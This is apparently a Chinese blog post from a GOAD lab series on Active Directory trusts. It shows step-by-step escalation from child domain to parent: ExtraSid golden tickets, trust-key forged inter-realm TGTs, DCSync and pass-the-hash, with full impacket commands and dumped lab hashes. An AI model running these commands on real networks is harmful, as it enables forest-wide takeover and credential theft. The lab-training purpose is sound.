GOAD-Light-Part11-域信任

GOAD-Light_schema

AD信任关系

什么是信任关系?

在 Active Directory 中,信任关系 允许一个域的用户访问另一个域的资源。信任是一种认证机制,而非授权机制。

白话解释:

text

1
2
3
4
5
6
7
A 信任 域 B

A 说:“我相信域 B 的身份验证”

但不代表:“域 B 的用户可以访问域 A 的所有资源”

还需要:明确的授权设置(ACL、群组成员资格等)

信任关系的类型

Domain Trust(域信任)- 父子关系

1
2
3
父域: sevenkingdoms.local
↕ (双向信任)
子域: north.sevenkingdoms.local

特性:

  • 自动建立:子域建立时自动与父域建立双向信任。
  • 传递性:信任关系可以传递(A 信任 B,B 信任 C → A 信任 C)。
  • 双向:父域和子域互相信任。
  • Kerberos 协议:使用 Kerberos 进行跨域认证。
  • SID Filtering:默认不启用(危险!)。

安全问题:

  • 子域的 Domain Admins 不等于 父域的 Domain Admins。
  • 但是!Enterprise Admins(只存在于森林根域)可以控制所有域。
  • 子域控制器可以利用信任机制提权到父域。

Forest Trust(森林信任)- 独立森林

1
2
3
森林 A: sevenkingdoms.local
↕ (双向信任)
森林 B: essos.local

特性:

  • 手动建立:需要管理员明确设定。
  • 可选单向或双向:灵活设定信任方向。
  • SID Filtering:默认启用(除非特别关闭)。
  • 选择性认证:可以限制跨森林访问。

安全问题:

  • 如果 SID Filtering 被禁用SID History 被启用 → 可以伪造特权群组成员资格。
  • Foreign Groups 可能提供跨森林的攻击路径。
  • Unconstrained Delegation 主机可以捕获外部森林 DC 的票据。

枚举信任关系

ldeep枚举

查询 sevenkingdoms.local 的信任关系

1
ldeep ldap -u tywin.lannister -p 'powerkingftw135' -d sevenkingdoms.local -s ldap://192.168.56.10 trusts

image-20260202155401954

结果说明

  • 信任对象north.sevenkingdoms.local(子域)
  • 信任方向:双向(Bidirectional)- 互相信任
  • 关系类型WITHIN_FOREST- 同一个集团内的父子公司关系
    • 这是 同一 Forest 内的域
    • 自动的双向、可传递信任
    • Kerberos 可跨域使用
    • 攻击面会扩大(横向、委派、ACL、Kerberos 相关攻击)

查询north.sevenkingdoms.local 的信任关系

1
ldeep ldap -u tywin.lannister -p 'powerkingftw135' -d sevenkingdoms.local -s ldap://192.168.56.11 trusts

image-20260202155709273

sevenkingdoms.local 域一样,双向信任

BloodHound

1
MATCH p=(n:Domain)-->(m:Domain) RETURN p

image-20260202160012883

LDAP 查询

1
ldapsearch -x -H ldap://192.168.56.10 -D "tywin.lannister@sevenkingdoms.local" -w 'powerkingftw135' -b "CN=System,DC=sevenkingdoms,DC=local" "(objectCategory=trustedDomain)"
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
┌──(root㉿kali)-[/home/kali/GOAD]                                     
└─# ldapsearch -x -H ldap://192.168.56.10 \
-D "tywin.lannister@sevenkingdoms.local" \
-w 'powerkingftw135' \
-b "CN=System,DC=sevenkingdoms,DC=local" \
"(objectCategory=trustedDomain)"
# extended LDIF
#
# LDAPv3
# base with scope subtree
# filter: (objectCategory=trustedDomain)
# requesting: ALL
#
# north.sevenkingdoms.local, System, sevenkingdoms.local
dn: CN=north.sevenkingdoms.local,CN=System,DC=sevenkingdoms,DC=local
objectClass: top
objectClass: leaf
objectClass: trustedDomain
cn: north.sevenkingdoms.local
distinguishedName: CN=north.sevenkingdoms.local,CN=System,DC=sevenkingdoms,DC=local
instanceType: 4
whenCreated: 20260119151223.0Z
whenChanged: 20260119151223.0Z
uSNCreated: 12881
uSNChanged: 12882
showInAdvancedViewOnly: TRUE
name: north.sevenkingdoms.local
objectGUID:: pYy7rr3FHUWZ2j0CF5v4BA==
securityIdentifier:: AQQAAAAAAAUVAAAAHwaeD47oURCTqAoC
trustDirection: 3
trustPartner: north.sevenkingdoms.local
trustPosixOffset: -2147483648
trustType: 2
trustAttributes: 32
flatName: NORTH
objectCategory: CN=Trusted-Domain,CN=Schema,CN=Configuration,DC=sevenkingdoms,DC=local
isCriticalSystemObject: TRUE
dSCorePropagationData: 16010101000000.0Z
# search result
search: 2
result: 0 Success
# numResponses: 2
# numEntries: 1

子域到父域的提权攻击

默认DCRsync

“Active Directory domains should not be considered a security boundary. The forest is the security boundary.”

1
2
3
4
5
6
Forest(安全边界)
└── 父域 DC
↑ 允许 Forest 内受信主体做复制
└── 子域 DC

在同一 Forest 里,父域 DC 会“默认信任子域 DC/管理员来复制数据”

Enterprise Admins 群组

  • 只存在于森林根域(sevenkingdoms.local)
  • RID:519
  • 对整个森林有完全控制权
  • 成员可以控制所有子域

SID 的组成

1
2
3
4
5
6
7
8
9
10
S-1-5-21-{Domain SID}-{RID}

north.sevenkingdoms.local 的 Domain SID:
S-1-5-21-638448100-4005671799-261795860

sevenkingdoms.local 的 Domain SID:
S-1-5-21-1409754491-4246775990-3914137275

sevenkingdoms.local 的 Enterprise Admins:
S-1-5-21-1409754491-4246775990-3914137275-519

Golden Ticket with ExtraSid

  • 使用子域的krbtgt hash 建立TGT
  • 在TGT 中添加父域的Enterprise Admins SID(-519)
  • 域控制器信任子域的认证→ 接受TGT
  • TGT 中包含Enterprise Admins → 拥有父域完全控制权

Impacket raiseChild.py(自动化)

获取父域hash

raiseChild.py 会自动取得所需的凭证资讯,但需要手动重新生成正确的Golden Ticket

1
impacket-raiseChild north.sevenkingdoms.local/eddard.stark:'FightP3aceAndHonor!'
1
2
3
4
5
6
7
8
9
10
11
12
13
[*] Raising child domain north.sevenkingdoms.local                       
[*] Forest FQDN is: sevenkingdoms.local
[*] Raising north.sevenkingdoms.local to sevenkingdoms.local
[*] sevenkingdoms.local Enterprise Admin SID is: S-1-5-21-1310755497-773461623-2086370076-519
[*] Getting credentials for north.sevenkingdoms.local
north.sevenkingdoms.local/krbtgt:502:aad3b435b51404eeaad3b435b51404ee:ce78790a7ddd98c36dab6a95675ddb78:::
north.sevenkingdoms.local/krbtgt:aes256-cts-hmac-sha1-96s:877d32ddbe5108dfe2d62696c9e22494468a843d34b4a2fed7e8c544e07259f7
[*] Getting credentials for sevenkingdoms.local
sevenkingdoms.local/krbtgt:502:aad3b435b51404eeaad3b435b51404ee:816110e00d77ac448e607e8b357f25d4:::
sevenkingdoms.local/krbtgt:aes256-cts-hmac-sha1-96s:6ccfd4b20a0369f7dc268cc82385cde2762244e2e8f79bdbcfd06471c54b5e32
[*] Target User account name is Administrator
sevenkingdoms.local/Administrator:500:aad3b435b51404eeaad3b435b51404ee:c66d72021a2d4744409969a581a1705e:::
sevenkingdoms.local/Administrator:aes256-cts-hmac-sha1-96s:bdb1a615bc9d82d2ab21f09f11baaef4bc66c48efdd56424e1206e581e4dd827

攻击链

1
2
3
4
5
6
7
8
9
子域 DA

DCSync 子域 krbtgt

Forest 信任关系

DCSync 父域 krbtgt

DCSync 父域 Administrator

image-20260202174234199

制作票据

1
2
3
4
5
6
7
8
impacket-ticketer -nthash 816110e00d77ac448e607e8b357f25d4 -domain-sid S-1-5-21-1310755497-773461623-2086370076 -domain sevenkingdoms.local -extra-sid S-1-5-21-1310755497-773461623-2086370076-519 administrator


-nthash:父域krbtgt 的NT Hash
-domain:父域名称
-domain-sid:父域的Domain SID(不包含RID)
-extra-sid:Enterprise Admins 的SID(父域SID + 519)
Administrator:目标使用者名称

DCSync

1
impacket-secretsdump -k -no-pass Administrator@kingslanding.sevenkingdoms.local

image-20260202175112315

winrm

1
evil-winrm -i 192.168.56.10 -u Administrator -H c66d72021a2d4744409969a581a1705e

image-20260202175351811

手动Golden Ticket with ExtraSid

提取子域krbtgt Hash

1
impacket-secretsdump -just-dc-user north/krbtgt north.sevenkingdoms.local/eddard.stark:'FightP3aceAndHonor!'@192.168.56.11
1
2
3
4
5
6
7
8
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)                                                                                                                             
[*] Using the DRSUAPI method to get NTDS.DIT secrets
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:ce78790a7ddd98c36dab6a95675ddb78:::
[*] Kerberos keys grabbed
krbtgt:aes256-cts-hmac-sha1-96:877d32ddbe5108dfe2d62696c9e22494468a843d34b4a2fed7e8c544e07259f7
krbtgt:aes128-cts-hmac-sha1-96:a0f68a853b238b3ec6419307b60a1844
krbtgt:des-cbc-md5:49159ed668083e6d
[*] Cleaning up...

获取SID

子域

1
impacket-lookupsid -domain-sids north.sevenkingdoms.local/eddard.stark:'FightP3aceAndHonor!'@192.168.56.11 0
1
2
3
4
5
6
7
┌──(root㉿kali)-[/home/kali/GOAD/trust]                                                                                                                                                   
└─# impacket-lookupsid -domain-sids north.sevenkingdoms.local/eddard.stark:'FightP3aceAndHonor!'@192.168.56.11 0
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies

[*] Brute forcing SIDs at 192.168.56.11
[*] StringBinding ncacn_np:192.168.56.11[\pipe\lsarpc]
[*] Domain SID is: S-1-5-21-262014495-273803406-34252947

父域

1
impacket-lookupsid -domain-sids north.sevenkingdoms.local/eddard.stark:'FightP3aceAndHonor!'@192.168.56.10 0
1
2
3
4
5
6
7
┌──(root㉿kali)-[/home/kali/GOAD/trust]                                                                                                                                                   
└─# impacket-lookupsid -domain-sids north.sevenkingdoms.local/eddard.stark:'FightP3aceAndHonor!'@192.168.56.10 0
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies

[*] Brute forcing SIDs at 192.168.56.10
[*] StringBinding ncacn_np:192.168.56.10[\pipe\lsarpc]
[*] Domain SID is: S-1-5-21-1310755497-773461623-2086370076

建立Golden Ticket with ExtraSid

1
2
3
4
5
6
7
8
9
10
11
12
13
14
impacket-ticketer \
-nthash ce78790a7ddd98c36dab6a95675ddb78 \
-domain-sid S-1-5-21-262014495-273803406-34252947 \
-domain north.sevenkingdoms.local \
-extra-sid S-1-5-21-1310755497-773461623-2086370076-519 \
goldenuser



-nthash: 子域krbtgt 的NT Hash
-domain-sid: 子域的SID
-domain: 子域的FQDN
-extra-sid: 父域的Enterprise Admins SID(父域SID + -519
goldenuser: 伪造的使用者名称(可以是任意名称)

重要的RID 清单

RID 群组 权限范围
519 Enterprise Admins 整个森林(最高权限)
512 Domain Admins 单一域
518 Schema Admins 森林Schema
520 Group Policy Creator Owners GPO 管理

DCSync

1
2
impacket-secretsdump -k -no-pass -just-dc-ntlm \
north.sevenkingdoms.local/goldenuser@kingslanding.sevenkingdoms.local

image-20260202181917946

Trust Ticket(伪造Inter-Realm TGT)

当两个域(例如父域和子域)建立信任时,它们会协商生成一对共享密钥,称为 Trust Key。这个密钥用于加密和签名所有跨域认证时使用的 Kerberos 票据

位置:Trust Key 存储在子域的数据库(NTDS.dit)中,对应一个特殊的机器账户,名称通常是父域的NetBIOS名加上$(例如 SEVENKINGDOMS$)。

子域正常访问父域资源

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
子域用户 Alice
|
| ① 我要访问父域资源

子域 KDC
|
| ② 用 Trust Key 给 Alice 发一个
| “去父域用的 TGT”(Inter-Realm TGT)

Alice(拿着 Inter-Realm TGT)
|
| ③ 把这个票给父域 KDC

父域 KDC
|
| ④ 用 Trust Key 验签 → OK
| ⑤ 给 Alice 发父域资源的 TGS

攻击者的做法

1
攻击者提取 Trust Key → 伪造 Inter-Realm TGT → 加入 Enterprise Admins SID

Trust Ticket 的特性

优势

  • 即使krbtgt 密码被重置2 次,Trust Ticket 仍然有效
  • 因为使用的是Trust Key,不是krbtgt hash
  • Trust Key 更新频率低,更持久

提取Trust Key

Trust Key 储存在子域的NTDS.dit 中,对应于父域名称的机器帐号。

1
impacket-secretsdump -just-dc-user 'SEVENKINGDOMS$' north.sevenkingdoms.local/eddard.stark:'FightP3aceAndHonor!'@192.168.56.11

image-20260202185055782

1
SEVENKINGDOMS$:1104:aad3b435b51404eeaad3b435b51404ee:87104736ec563809ab3a7193245ae9c4::: 

建立Inter-Realm TGT

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
impacket-ticketer \
-nthash 87104736ec563809ab3a7193245ae9c4 \
-domain-sid S-1-5-21-262014495-273803406-34252947 \
-domain north.sevenkingdoms.local \
-extra-sid S-1-5-21-1310755497-773461623-2086370076-519 \
-spn krbtgt/sevenkingdoms.local \
trustfakeuser


-nthash 信任密钥
-domain-sid 票据的签发域SID
-domain 票据的签发域名
-extra-sid 额外注入的特权SID
-spn 必须设定为krbtgt/父域FQDN(表示这是Inter-Realm TGT)
trustfakeuser 伪造的用户名

使用Inter-Realm TGT 请求服务票证

1
2
3
4
impacket-getST -k -no-pass \
-spn cifs/kingslanding.sevenkingdoms.local \
sevenkingdoms.local/trustfakeuser@sevenkingdoms.local \
-debug

过程说明

1
2
3
4
5
6
7
8
9
10
11
getST 读取 trustfakeuser.ccache 中的跨域票据

连接到父域 KDC(kingslanding.sevenkingdoms.local)

使用跨域票据请求 CIFS 服务的服务票据

KDC 验证信任密钥签名 → 接受

KDC 发现企业管理员 SID → 授予完全权限

发放 CIFS 服务票据

使用服务票证存取父域

使用 smbclient

1
impacket-smbclient -k -no-pass trustfakeuser@kingslanding.sevenkingdoms.local

DCSync

1
impacket-secretsdump -k -no-pass -just-dc-ntlm trustfakeuser@kingslanding.sevenkingdoms.local

image-20260202211016771

Unconstrained Delegation

  1. WINTERFELL 是子域的域控制器,默认启用了无约束委派

  2. 使用 Coercer 工具强制父域的域控制器向 WINTERFELL 进行身份认证

  3. 在 WINTERFELL 上使用 Rubeus 工具捕获父域域控制器的 TGT(票据授予票据)

  4. 使用捕获的 TGT 执行 DCSync 攻击


GOAD-Light-Part11-域信任
http://xiaowu5.cn/2026/02/02/GOAD-Light-Part11-域信任/
作者
5
发布于
2026年2月2日
许可协议
BY XIAOWU